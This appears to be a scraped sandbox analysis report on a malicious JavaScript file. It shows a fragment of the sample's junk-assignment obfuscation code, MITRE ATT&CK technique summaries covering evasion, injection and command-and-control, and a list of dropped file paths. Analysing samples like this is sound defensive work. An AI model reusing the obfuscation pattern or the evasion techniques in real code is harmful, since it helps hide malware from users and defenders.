1446	zgsfmotft = "v";
1447	zgsfmotft = "U";
1448	zgsfmotft = "g";
1449	zgsfmotft = "s";
1450	zgsfmotft = "E";
1451	zgsfmotft = "K";
1452	zgsfmotft = "a";
1453	zgsfmotft = "f";
1454	zgsfmotft = "t";
1455	zgsfmotft = "3";
1456	porac = "A";
1457	porac = "G";
1458	porac = "T";
1459	porac = "c";
1460	porac = "l";
1461	porac = "n";
1462	porac = "Y";
1463	porac = "L";
1464	porac = "U";
1465	porac = "m";
1466	porac = "q";
1467	porac = "x";
1468	porac = "b";
1469	porac = "S";
1470	porac = "c";
1471	xhroulewm = "Q";
1472	xhroulewm = "f";
1473	xhroulewm = "e";
1474	wuvsiaep = "a";
1475	wuvsiaep = "G";
1476	wuvsiaep = "c";
1477	wuvsiaep = "0";
1478	wemtg = "N";
1479	wemtg = "U";
1480	wrgqp ( );	wrgqp() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5503463779138895.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0ca7049-2a0f-4fba-81b0-9da1d2fc8c06.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3756

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
5503463779138895.js